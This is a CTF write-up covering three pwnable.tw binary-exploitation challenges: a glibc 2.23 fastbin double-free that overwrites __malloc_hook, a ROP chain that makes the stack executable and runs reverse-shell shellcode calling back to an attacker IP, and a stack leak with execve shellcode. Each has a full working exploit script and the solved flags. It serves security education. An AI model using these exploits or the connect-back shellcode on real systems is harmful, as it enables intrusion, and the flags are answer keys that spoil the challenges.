Table of Contents
- Secret Garden — fastbin dup +
__malloc_hookoverwrite (glibc 2.23) - Kidding — stack overflow +
_dl_make_stack_executableroute - Start — stack BOF leak + stack shellcode
Secret Garden — fastbin dup + __malloc_hook overwrite (glibc 2.23)
Summary
- Category: Pwn / Heap Exploitation
- Challenge:
pwnable.tw - secretgarden - Binary:
secretgarden - Libc:
libc_64.so.6(Ubuntu GLIBC 2.23) - Protections: RELRO + Canary + NX + PIE
- Flag:
FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}
Bug and primitive
The program stores flower objects in a global array. Each flower has a heap-allocated name pointer.
The bug is in remove flower:
- it frees
name, - but does not null the pointer,
- and does not prevent freeing the same slot again.
That gives us:
- double-free primitive on fastbin chunks,
- UAF read path via garden listing.
Exploit plan
- Leak libc via unsorted-bin metadata (
main_arenapointer). - Use fastbin dup (A-B-A) to poison freelist for size
0x70class. - Return chunk near
__malloc_hook - 0x23(classic glibc 2.23 bypass for fastbin size checks). - Overwrite
__malloc_hookwith one_gadget (0xef6c4). - Trigger allocator error path (
double free or corruption (fasttop)) to jump via hook.
Why -0x23?
If we point directly at __malloc_hook, allocator consistency checks fail.
Targeting __malloc_hook - 0x23 makes the fake chunk layout pass the size/index checks, then payload alignment lands exactly on __malloc_hook.
Repro exploit (local/remote)
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('./secretgarden', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
HOST, PORT = 'chall.pwnable.tw', 10203
class App:
def __init__(self, io):
self.io = io
def intro(self):
self.io.recvuntil(b'Your choice : ')
def raise_flower(self, length, name, color):
self.io.sendline(b'1')
self.io.recvuntil(b'Length of the name :')
self.io.sendline(str(length).encode())
self.io.recvuntil(b'The name of flower :')
self.io.send(name)
self.io.recvuntil(b'The color of the flower :')
self.io.sendline(color)
self.io.recvuntil(b'Your choice : ')
def visit(self):
self.io.sendline(b'2')
return self.io.recvuntil(b'Your choice : ')
def remove(self, idx, wait_menu=True):
self.io.sendline(b'3')
self.io.recvuntil(b'Which flower do you want to remove from the garden:')
self.io.sendline(str(idx).encode())
if wait_menu:
self.io.recvuntil(b'Your choice : ')
def start(local=False):
if local:
return process(['./ld-2.23.so', '--library-path', '.', './secretgarden'])
return remote(HOST, PORT)
def leak_libc_base(app):
app.raise_flower(500, b'AAAAAAAAAAAAAAAA', b'AAAAAAAAAAAAAAAA') # 0
app.raise_flower(100, b'CCCCCCCCCCCCCCCC', b'CCCCCCCCCCCCCCCC') # 1
app.raise_flower(500, b'BBBBBBBBBBBBBBBB', b'BBBBBBBBBBBBBBBB') # 2
app.raise_flower(500, b'BBBBBBBBBBBBBBBB', b'BBBBBBBBBBBBBBBB') # 3
app.remove(2)
app.raise_flower(400, b'AAAAAAAA', b'AAAAAAAA') # 4
gd = app.visit()
st = gd.find(b'flower[4] :AAAAAAAA')
if st == -1:
raise RuntimeError('leak marker not found')
st += len(b'flower[4] :AAAAAAAA')
arena = u64(gd[st:st + 6] + b'\x00\x00')
base = arena - 0x3c3b78
return base
def stage_write(app, write_addr, write_val, bin_size=100):
app.raise_flower(bin_size, b'AAAAA', b'BBBBB') # 5
app.raise_flower(bin_size, b'AAAAA', b'BBBBB') # 6
app.remove(5)
app.remove(6)
app.remove(5)
app.raise_flower(bin_size, p64(write_addr), b'BBBBB')
app.raise_flower(bin_size, b'junk', b'BBBBB')
app.raise_flower(bin_size, b'junk', b'BBBBB')
app.raise_flower(bin_size, write_val, b'BBBBB')
def exploit(local=False):
io = start(local=local)
app = App(io)
app.intro()
libc_base = leak_libc_base(app)
libc.address = libc_base
malloc_hook = libc.sym['__malloc_hook'] - 0x23
one = libc_base + 0xef6c4
stage_write(app, malloc_hook, b'\x41' * 0x13 + p64(one), 100)
# trigger via malloc_printerr fasttop path
app.remove(9, wait_menu=True)
app.remove(9, wait_menu=False)
if local:
io.sendline(b'echo PWNED')
else:
io.sendline(b'cat /home/secretgarden/flag')
print(io.recvrepeat(1.5).decode(errors='ignore'))
io.interactive()
if __name__ == '__main__':
exploit(local=False)
Verification
Remote run returned:
FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}
Notes
- This challenge is glibc 2.23 (no tcache), so fastbin behavior is central.
- Heap choreography (allocation/free order and indices) matters a lot for reliability.
- Using matching loader/libc (
ld-2.23.so+libc_64.so.6) is important for local reproduction.
Kidding — stack overflow + _dl_make_stack_executable route
Summary
- Category: Pwn / Stack Overflow / ROP
- Challenge:
pwnable.tw - kidding - Binary:
kidding(i386, statically linked) - Protections: NX enabled, No PIE, No canary
- Flag:
FLAG{Ar3_y0u_k1dd1ng_m3}
Vulnerability
The program reads 100 bytes into a small local stack buffer:
read(0, buf, 0x64)
This yields direct EIP control.
- Offset to EIP:
12
Why generic staged ROP was unstable here
A generic mprotect + read(stage2) + jmp path is fragile in this challenge because stdio (0/1/2) gets closed and post-read channel assumptions become brittle.
The stable challenge-native route is:
- force stack executable via linker internals,
- jump into inline shellcode,
- shellcode creates a new socket channel (connect-back).
Exploit plan (native)
- Write
7into__stack_prot - Load
eax = __libc_stack_end - Call
_dl_make_stack_executable call espto execute shellcode directly on stack- Shellcode does:
socket->dup2->connect->execve('/bin/sh')
Key addresses used:
__libc_stack_end=0x080e9fc8__stack_prot=0x080e9fec_dl_make_stack_executable=0x0809a080pop ecx; ret=0x080583c9pop dword ptr [ecx]; ret=0x0804b5ebpop eax; ret=0x080b8536call esp=0x080c99b0
Repro exploit (complete)
#!/usr/bin/env python3
from pwn import *
import socket, struct
context.binary = elf = ELF('./kidding', checksec=False)
context.arch = 'i386'
HOST, PORT = 'chall.pwnable.tw', 10303
POP_ECX = 0x080583c9
POP_PTR_ECX = 0x0804b5eb
POP_EAX = 0x080b8536
STACK_PROT = 0x080e9fec
LIBC_STACK_END = 0x080e9fc8
DL_MAKE_STACK_EXEC = 0x0809a080
CALL_ESP = 0x080c99b0
def ip_word(ip: str) -> int:
return struct.unpack('<I', socket.inet_aton(ip))[0]
def build_shellcode() -> bytes:
s = b''
# socket(AF_INET, SOCK_STREAM, 0)
s += asm('push 1; pop ebx; cdq; mov al,0x66; push edx; push ebx; push 2; mov ecx,esp; int 0x80')
# dup2(sockfd, 1)
s += asm('xchg ebx,eax; pop esi; pop ecx; mov al,0x3f; int 0x80')
# connect(sockfd, {AF_INET, 0x6600, ip_in_ebp}, 16)
s += asm('push ebp; mov al,0x66; push ax; push si; mov ecx,esp; push ds; push ecx; push ebx; mov ecx,esp; mov bl,3; int 0x80')
# execve('/bin/sh', 0, 0)
s += asm('mov al,0xb; pop ecx; push 0x68732f; push 0x6e69622f; mov ebx,esp; int 0x80')
return s
def build_payload(lhost: str) -> bytes:
shell = build_shellcode()
payload = b'A' * 8
payload += p32(ip_word(lhost))
payload += p32(POP_ECX) + p32(STACK_PROT)
payload += p32(POP_PTR_ECX) + p32(7)
payload += p32(POP_EAX) + p32(LIBC_STACK_END)
payload += p32(DL_MAKE_STACK_EXEC)
payload += p32(CALL_ESP)
payload += shell
assert len(payload) <= 100
return payload
def run_local(lhost='127.0.0.1'):
listener = listen(0x6600)
io = process('./kidding')
io.send(build_payload(lhost))
sh = listener.wait_for_connection()
sh.sendline(b'id')
sh.sendline(b'echo PWNED')
sh.interactive()
def run_remote(lhost):
listener = listen(0x6600)
io = remote(HOST, PORT)
io.send(build_payload(lhost))
io.close()
sh = listener.wait_for_connection()
sh.interactive()
if __name__ == '__main__':
import argparse
p = argparse.ArgumentParser()
p.add_argument('--remote', action='store_true')
p.add_argument('--lhost', default='127.0.0.1')
args = p.parse_args()
if args.remote:
run_remote(args.lhost)
else:
run_local(args.lhost)
Remote exploit run
This exploit is connect-back style, so you must provide a reachable public callback IP.
# on attacker machine
python3 exploit_native.py --remote --lhost <YOUR_PUBLIC_IP>
If callback succeeds, you get a shell from remote service.
Remote flag retrieval
After reverse shell lands:
cd /home/flag
./get_flag
# prompt: where is your flag :
./I_am_fl4g
Output:
FLAG{Ar3_y0u_k1dd1ng_m3}
Start — stack BOF leak + stack shellcode
Summary
- Category: Pwn / Stack Buffer Overflow
- Challenge:
pwnable.tw - start - Binary:
start(i386, static) - Protections: No RELRO, No Canary, NX disabled, No PIE
- Flag:
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
Vulnerability
At _start, the binary does:
write(1, esp, 0x14)(prints banner bytes from stack)read(0, esp, 0x3c)add esp, 0x14; ret
So we control return address with offset 20 bytes.
Exploit plan
-
Stage-1 leak
- overwrite RET with
0x8048087(mov ecx, esp; ... write) so program leaks 20 stack bytes. - first 4 leaked bytes provide stack pointer anchor (
leak).
- overwrite RET with
-
Stage-2 shellcode jump
- send:
b'A'*20 + p32(leak+20) + shellcode - why
leak+20:- stage-2 buffer starts at
(leak-4) - shellcode starts at buffer offset 24
- target address =
(leak-4)+24 = leak+20
- stage-2 buffer starts at
- send:
-
Get shell and read flag
- run
cat /home/start/flag
- run
Repro exploit
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./start', checksec=False)
context.arch = 'i386'
HOST, PORT = 'chall.pwnable.tw', 10000
LEAK_GADGET = 0x08048087
def build_stage1():
return b'A' * 20 + p32(LEAK_GADGET)
def build_stage2(leak_esp: int):
# leak_esp is [esp] after stage-1 jump.
# stage-2 read buffer starts at leak_esp - 4.
# shellcode lands at buffer+24 => leak_esp + 20.
sc = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e\x89\xe3\x31"
b"\xc9\x31\xd2\xb0\x0b\xcd\x80"
)
return b'A' * 20 + p32(leak_esp + 20) + sc
def solve(io):
io.recvuntil(b"Let's start the CTF:")
io.send(build_stage1())
leaked20 = io.recvn(20)
leak = u32(leaked20[:4])
log.success(f'leaked esp = {hex(leak)}')
io.send(build_stage2(leak))
return io
def verify_shell(io, tries=3):
marker = b'__PWNED__'
for _ in range(tries):
io.sendline(b'echo ' + marker)
out = io.recvrepeat(0.7)
if marker in out:
return True
return False
def run_remote(max_attempts=10):
for i in range(1, max_attempts + 1):
io = remote(HOST, PORT)
sh = solve(io)
if not verify_shell(sh):
log.warning(f'attempt {i}/{max_attempts}: no shell marker, retrying')
sh.close()
continue
sh.sendline(b'cat /home/start/flag')
print(sh.recvrepeat(1.0).decode(errors='ignore'))
sh.interactive()
return
log.failure('remote attempts exhausted without shell')
if __name__ == '__main__':
run_remote()
Verification
Remote run returned:
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}